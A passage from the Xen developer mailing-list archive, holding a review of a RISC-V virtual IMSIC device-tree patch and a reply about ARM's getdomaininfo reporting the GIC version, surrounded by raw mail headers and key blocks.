 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <7af5bcc9ef818926f02244f5d566541da06a0a16.1783331040.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1783612168-D4B7D6B2-61B84FF7/0/0
X-purgate-type: clean
X-purgate-size: 3966

On 06.07.2026 17:58, Oleksii Kurochko wrote:
> --- a/xen/arch/riscv/imsic.c
> +++ b/xen/arch/riscv/imsic.c
> @@ -13,8 +13,12 @@
>  #include <xen/const.h>
>  #include <xen/cpumask.h>
>  #include <xen/device_tree.h>
> +#include <xen/domain.h>
>  #include <xen/errno.h>
> +#include <xen/fdt-domain-build.h>
> +#include <xen/fdt-kernel.h>
>  #include <xen/init.h>
> +#include <xen/libfdt/libfdt.h>
>  #include <xen/macros.h>
>  #include <xen/sched.h>
>  #include <xen/smp.h>
> @@ -34,6 +38,21 @@ static struct imsic_config imsic_cfg = {
>      .lock = SPIN_LOCK_UNLOCKED,
>  };
>  
> +/*
> + * Number of MSIs available to a guest. Determined by the host interrupt
> + * controller, so it is identical for every domain -- hence a single global
> + * rather than a per-domain value.
> + */
> +static unsigned int __ro_after_init guest_num_msis;
> +
> +#define GUEST_IMSIC_COMPATIBLE "riscv,imsics"
> +
> +/*
> + * Value is inspired by what QEMU is using for riscv,num-ids property for IMSIC
> + * node.
> + */
> +#define GUEST_IMSIC_MAX_MSIS 255

#define GUEST_IMSIC_MAX_MSIS 255U

to avoid ...

> @@ -285,6 +304,13 @@ static int imsic_parse_node(const struct dt_device_node *node,
>          return -ENOENT;
>      }
>  
> +    if ( dt_property_read_u32(node, "riscv,num-guest-ids", &tmp) )
> +        guest_num_msis = tmp;
> +    else
> +        guest_num_msis = IMSIC_MAX_ID;
> +
> +    guest_num_msis = min(GUEST_IMSIC_MAX_MSIS + 0U, guest_num_msis);

... the "+ 0U" here?

As to the use of IMSIC_MAX_ID - why not use GUEST_IMSIC_MAX_MSIS right away?
Overall perhaps

    if ( dt_property_read_u32(node, "riscv,num-guest-ids", &tmp) )
        guest_num_msis = min(GUEST_IMSIC_MAX_MSIS, tmp);
    else
        guest_num_msis = GUEST_IMSIC_MAX_MSIS;

?

> @@ -522,3 +548,119 @@ int __init imsic_init(const struct dt_device_node *node)
>  
>      return rc;
>  }
> +
> +static int __init guest_imsic_make_reg_property(struct domain *d, void *fdt)
> +{
> +    paddr_t size = IMSIC_MMIO_PAGE_SZ * d->max_vcpus;
> +    __be32 regs[4] = {
> +        cpu_to_be32(GUEST_IMSIC_S_BASE >> 32),
> +        cpu_to_be32(GUEST_IMSIC_S_BASE),
> +        cpu_to_be32(size >> 32),
> +        cpu_to_be32(size),
> +    };
> +
> +    return fdt_property(fdt, "reg", regs, sizeof(regs));
> +}
> +
> +static int __init guest_imsic_set_interrupt_extended_prop(struct domain *d,
> +                                                          void *fdt)
> +{
> +    unsigned int cpu, pos = 0;
> +    __be32 *irq_ext;
> +    int res;
> +
> +    irq_ext = xvzalloc_array(__be32, d->max_vcpus * 2);
> +    if ( !irq_ext )
> +        return -ENOMEM;
> +
> +    for ( cpu = 0; cpu < d->max_vcpus; cpu++ )
> +    {
> +        char buf[64];
> +        uint32_t phandle;
> +
> +        snprintf(buf, ARRAY_SIZE(buf), "/cpus/cpu@%u/interrupt-controller", cpu);
> +        phandle = fdt_get_phandle(fdt, fdt_path_offset(fdt, buf));
> +
> +        if ( !phandle )
> +        {
> +            res = -ENODEV;
> +            goto out;
> +        }
> +
> +        irq_ext[pos++] = cpu_to_be32(phandle);
> +        irq_ext[pos++] = cpu_to_be32(IRQ_S_EXT);
> +    }
> +
> +    res = fdt_property(fdt, "interrupts-extended", irq_ext,
> +                       d->max_vcpus * 2 * sizeof(*irq_ext));
> +
> + out:
> +    xvfree(irq_ext);
> +
> +    return res;
> +}
> +
> +int __init vimsic_make_domu_dt_node(struct kernel_info *kinfo,
> +                                    unsigned int *phandle)
> +{
> +    int res;
> +    void *fdt = kinfo->fdt;
> +    char vimsic_name[32];
> +    unsigned int vimsic_phandle;
> +    res = snprintf(vimsic_name, sizeof(vimsic_name), "/soc/imsic@%lx",
> +                   GUEST_IMSIC_S_BASE);

Blank line please between declaration(s) and statement(s). Also the revlog
claims you switched to ARRAY_SIZE() everywhere, when really you didn't.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 15:51:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 15:51:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358298.1612489 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whr2G-0005wG-EO; Thu, 09 Jul 2026 15:51:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358298.1612489; Thu, 09 Jul 2026 15:51:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whr2G-0005w9-Bc; Thu, 09 Jul 2026 15:51:36 +0000
Received: by outflank-mailman (input) for mailman id 1358298;
 Thu, 09 Jul 2026 15:51:35 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1whr2F-0005w3-F7
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:51:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whr2E-00FWoR-Mn
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 17:51:34 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4fc382-bab6-0a2a0a5309dd-0a2a450be386-6
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:51:34 +0200
Received: from [40.93.196.71]
 (helo=SA9PR02CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4fc374-b7da-0a2a450b0019-285dc44743fe-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:51:17 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by SJ0PR03MB5950.namprd03.prod.outlook.com (2603:10b6:a03:2d3::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.16; Thu, 9 Jul
 2026 15:51:14 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Thu, 9 Jul 2026
 15:51:14 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=vJjvU22baTl6gzOpiS0EvOM7b2qU/iqHATKsDsPjMsnTZ+DLDZhhNIZukaKyPncLmTU9LNscPjHNG0CTP+Q63PXO0hRY6jdZY/raJqugcv7EDpoRXunin6HmEXCo2zXNIebzVPUG8EQ4uMRoFBDmt8k0QudHQdivZf0atTXT3vFNY+vsnGfgg+YeJngHiGEyW9C77Ee8xwnBISs++7lU/K8r5MvVxM0oDdS2QV4qgzIgGggJLFNgk/T4g327G25LTSIPqNDwI2t02FDFCaTjhKKtuPs7wq7d1bgcDMcMLRjNFZrR2q0y/E6k4gttVZccjWn2UnArrM4vaJfGOzH2Tw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=8CfjwK6z2vWrAJHBV60nocYTLa290iB3sEewnQ8NFUQ=;
 b=A8tOMCbEZCBIA/1VzvFYcQZ0bDZDcWexpvt0YZnJcgzxteJzeqGGiQCpOhWiDVG4zqcwLBjIhlyn6yQEuIKFIsPcTDL1rstJE/Icx78Ts/M5WtGDHWw6vpYyZl3mcJuAJzLnIz5WLlQ0hjivvt8wVdfrzk1S5a66xNM/rHXG3t/Eq9NuVFmV7xaXBD3B73Ah3+czcPaltNpM7qpoKgn1CgxFA67mea7p23kzxEbZWizxg7OfeagaL5E5jZym2fPJywgcBaFRbOVdY0YbBN6Hc29t5RTy39AWCnmVsYVc2GpQEZT6jzAA13xGZNRg+xfjmq5x/yIO2TjukEJcyNV7IQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=8CfjwK6z2vWrAJHBV60nocYTLa290iB3sEewnQ8NFUQ=;
 b=UM1fiJfSMr4qLPHZc6GM09NJmyPA+mo4rUriAXFfdCMcKOTjOd4EKQCpdHLgrx45hrBHSZCT5+lo/o5wIdWSGss+OBP+SIKghTdwJL8f7D0BN+djlL0QtIDwMD1Mhic7pqkoZNF4bEhyL1nk9QYzsGNC2S2R1ZdzSSTPAGApsyg=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <bf56b5d9-f9a5-40ce-9e6b-0d43fc50e1e3@citrix.com>
Date: Thu, 9 Jul 2026 16:51:11 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: Re: [PATCH] xen/arm: report proper GIC version via
 XEN_DOMCTL_getdomaininfo
To: Julian Vetter <julian.vetter@vates.tech>, xen-devel@lists.xenproject.org
References: <1783603237.8631fc262581453bbf619ec5b2062170.19f470991a0000edb5@vates.tech>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ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yJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <1783603237.8631fc262581453bbf619ec5b2062170.19f470991a0000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0186.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:1a4::11) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|SJ0PR03MB5950:EE_
X-MS-Office365-Filtering-Correlation-Id: b82a8bc9-1d9e-4e0e-8b5c-08deddd1e803
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|366016|1800799024|6133799003|11063799006|56012099006|18002099003|22082099003|3023799007;
X-Microsoft-Antispam-Message-Info:
	yKk6Rpe472NloBeWsT/AGGjTdcW0g8d6Rf46fGqQnShLe3hMn1NwFsIbFe/+bNZv3S5ba3zpozwpFNP8nlyam1IvmwllJ37jXPdQbDin/s4ka3SABS6HNZzFtRtBVnFIXmqDHvJmCsbWQrVYoSqJt8fZhIiPKcYePX1LxsByywRGa7eXJshpjYCdI9unYUiGckH4pRz3cTc3zBmbckBbzaUgEaUCxWE+E4NxwtgMV5LRwGHqrsYTBic6YHpenKOQAceq1ur73tN0Xpr24murv/+j//GH2QZ1L3MmHKQ/n7anqv3k/1VVXTnc+eyxf6SVMcCi9mdGCFRcA9Zs1j3Ozxk7MfFg5wVwem5mk4G6upV55kMhXBwAQFWKKM4viob+6uo9XFaJfKXufWTZ6kQoKI3rSr1PgzpY/PgJ9gQ6cKb52GIokI5n7D/0HwkmIcdtgNR/zvls9HbxDAnmvkABe8rlmn+u4R3DSCGRnhQ98xq2JDQp1SaFYArPL7FjZVK3g+QDqblDJDeWSzNrh3/7MccKHJ0o/EhO9Ns0PHFJHnODdOPSFHAwFe4Tfc5uN3odHRUeV1fRTrnWnPuxlpX4YPO5MbynkQa6uSQReIrHo61gI70JRXfxJNS+qcBRnXc1L/bUL0W5KH57o/Gn3s32S5EBZrZ78lvZRoFvjmoK6NM=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(366016)(1800799024)(6133799003)(11063799006)(56012099006)(18002099003)(22082099003)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?WnNKdTdNaWh0eVZEelQyd2ZyUC9Jak5uL2NLZ0trdnpsZkQ2eGhnRE1rM1FR?=
 =?utf-8?B?YmRtRVlUd1E0YkJVbURBV3FYT245cUo1bEd1bHZNK3ZqSUZEUmsycTdmbHlW?=
 =?utf-8?B?QW9NbHZoT1dxWVNQNzVlV0s5Y0x6K0FsdjNJQlhxcXU0MGdMVFU4dlNTTzdR?=
 =?utf-8?B?bkdZLzY4YnYwRmoyNGRWYlV1WEhKNmJMK1VnSDR0UU1NMFp4czNxYzgvYWRz?=
 =?utf-8?B?WE1WemFDTlpNUzFqOXhtdkRBc0FLSHJxZGZqa0xGZ0t3YmNDSWRadWJrS1k5?=
 =?utf-8?B?b0lsM0xiSTJUdXduUVZoaWZsZkFnWXdFTlVCTkduVTlkY3l5Qk0rK2lOU3li?=
 =?utf-8?B?VlFQZXpoN3oxd0UrdTNQSHdpb0NpUHBEaWJTUzRNS0NCclNvRVN6MFRyUVNm?=
 =?utf-8?B?elM1emtGUmQwMlRibzZoY2ZYWkQ1Qz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1Y2eTNyTXdZT0llcU0xYUorMG1mQkpHVitEK2lRbEVCM3o4ck1U?=
 =?utf-8?B?RlFURVBmdm9ZR25SN1l2VEJRMW94MGkwVTU0b3lIQjg4OU5STFc5cjZJWDdS?=
 =?utf-8?B?U0NnSGxLZklVVUMzNUwrNys1c3cyam5QNkNMQnpoZkE4bEI5MEFHQT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b82a8bc9-1d9e-4e0e-8b5c-08deddd1e803
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 15:51:14.4211
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: otBKRB2GxN6lUvXChYumBFe8d7LU/4HMP0+gxFq+bbPRiOyC7COd7O3EABKGDvmpBY1YQDWeLEV0Rw+JNl9DasfFFekhZpSWCOboNr+Jfo4=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR03MB5950
X-purgate-ID: tlsNG-42698a/1783612277-48D7F9ED-523613F1/0/0
X-purgate-type: clean
X-purgate-size: 3094

On 09/07/2026 2:20 pm, Julian Vetter wrote:
> When creating a domain on ARM, and passing XEN_DOMCTL_CONFIG_GIC_NATIVE
> for the gic_version field in the struct xen_arch_domainconfig,
> arch_sanitise_domain_config() resolves this to the approrpiate GIC_V2 or
> GIC_V3 version the domain actually has, based on the host's
> gic_hw_version(). That value is stored in the domain as
> d->arch.vgic.version, but can't be queried through any other domctl
> later. Toolstacks that create and build a domain in the same call
> already have this info from the createdomain reply and never need to ask
> again.
>
> Toolstacks that create a domain and build it later from a separate
> process do need to ask again. But, the ARM implementation only fills in
> info->flags and info->gpaddr_bits. info->arch_config is left zeroed, so
> XEN_DOMCTL_getdomaininfo always reports gic_version as
> XEN_DOMCTL_CONFIG_GIC_NATIVE (0) regardless of what was actually
> configured earlier.
>
> Signed-off-by: Julian Vetter <julian.vetter@vates.tech>
> ---
>  xen/arch/arm/domctl.c | 2 ++
>  1 file changed, 2 insertions(+)
>
> diff --git a/xen/arch/arm/domctl.c b/xen/arch/arm/domctl.c
> index 6c9a3f9920..b76af56fad 100644
> --- a/xen/arch/arm/domctl.c
> +++ b/xen/arch/arm/domctl.c
> @@ -24,6 +24,8 @@ void arch_get_domain_info(const struct domain *d,
>      info->flags |= XEN_DOMINF_hap;
>  
>      info->gpaddr_bits = p2m_ipa_bits;
> +
> +    info->arch_config.gic_version = d->arch.vgic.version;
>  }
>  
>  static int handle_vuart_init(struct domain *d, 

Huh, that's one bug I hadn't found in this mess.Â  I'm sorry to say that
this is tied up in a bigger set of issues.

The use of xen_arch_domainconfig for output has lead to two bogus
things; gic_version as you've found, and clock_frequency which is an
out-only parameter of a system-wide property.

This is horrible API abuse and is one of many things interfering with
the API/ABI cleanup/rework.

* System properties should be reported by SYSCTL phyinfo, not as an
output from DOMCTL createdomain.Â  This includes the available GIC
versions, and clock frequency.

* GIC_NATIVE is a wrong thing to have in the API.Â  Libxl should choose
the first available of (gic-v3, gic-v2), and Xen should only care that
the chosen option is compatible with the system.

* With the fields now moved into the correct hypercalls, config needs
making const through arch_sanitise_domain_config() so these kinds of
issues can't easily repeat.

I started this work with
https://gitlab.com/xen-project/hardware/xen-staging/-/commits/andrew/fix-arm-domcreate
but haven't had time to complete it.Â Â If you'd like to tackle the others
while you're at it, I'd be very grateful.

~Andrew

P.S. The end goal is to have DOMCTL_createdomain return the domid via
return value not in the struct, at which point the entire struct becomes
input-only, and substantially easier in the new API/ABI design.Â  Also
createdomain really should be a SYSCTL not a domctl, and that will help
to simplify do_domctl() a little.


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 15:55:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 15:55:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358310.1612499 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whr6C-0006Tp-VT; Thu, 09 Jul 2026 15:55:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358310.1612499; Thu, 09 Jul 2026 15:55:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whr6C-0006Ti-S8; Thu, 09 Jul 2026 15:55:40 +0000
Received: by outflank-mailman (input) for mailman id 1358310;
 Thu, 09 Jul 2026 15:55:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whr6B-0006Tc-Py
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:55:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whr6A-0047kb-GY
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 17:55:38 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4fc465-5cb7-0a2a0a5109dd-0a2a450bd978-46
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:55:38 +0200
Received: from [209.85.221.47] (helo=mail-wr1-f47.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a4fc47a-b7da-0a2a450b0019-d155dd2fedf8-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:55:38 +0200
Received: by mail-wr1-f47.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09e5so44779f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 08:55:38 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0a558easm52536411f8f.27.2026.07.09.08.55.37
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 08:55:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783612538; x=1784217338; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=c8xWBnkSePbziAQkgHTv0FserXOdVKtuK+1JM5O/GXI=;
        b=LlGTyUCJjOrw8UI8quW+NURhebPoGFlNFW5bQn7YbYLhy20bo09/6GxbgSE2Ae3+Qa
         zUcvVNgD0FG6UbhtsJJ5Sf2EQMxeWwfmBC4aIlPDrarEZdsKPLcysuqEfNhMZvx7cFqp
         j5YEBPZO7SCCCUjt3n1D/ZgSBV/wMA6yMcgz7RpC7fP4ADt+vOUDJzFJYwuZnMrzVHso
         dEJ+c50kqkVioly87ruCTwOKI/0HI+9gW/S6TbEaOfYnXxC9y1L2F9QRVJBj4uiDeiQg
         nWNVyCVA6eTaDwQQ59s1N482/dudhR18AC2/wWa1x9YnEo46qG4aEmFfPMdwtc84lKWD
         dacg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783612538; x=1784217338;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=c8xWBnkSePbziAQkgHTv0FserXOdVKtuK+1JM5O/GXI=;
        b=rfnBS3jQ9d4e0Glzvjgq1rSO2zAsyq0QCMm8afayNG/4m3Pzt+N28zj8V6u+YfFECH
         WUQDisKD7CDItw7CORDuEeRD7O++tK3XjG2YO/LQS6KmI1PFZI1FmngB3ddgIwUTyG3q
         1DcYiN7BiM8eVVWDn3q3zH0GQwWnEx/30/3eNiGV+FXBrNRmWI3rjlK4ffrGaCh6xZ8c
         ageAiHI3eDvPFEvzuJAUMdJl7Aa8Eh0x/FCSVcthWk/PcDtXqdgMPY8rIM0k02pfb2Tu
         NCb9I43vuSQM1DLp8QUgv9zfx7dETa9FVnnRF29tj83AYoOU6K29O6nYoi+5TaroP82b
         XWSg==
X-Forwarded-Encrypted: i=1; AHgh+RoXWOK4ugDJ/zigvax60DriGeg7HKVwC/c4//hWSR3QucMcl5GBhMSFpgdi913hYvZXDV+eB5FvTt8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzZtwRqnkRFOicI1h5tWXxk88Ky9lekdKPr8aXPda942+NUtQSJ
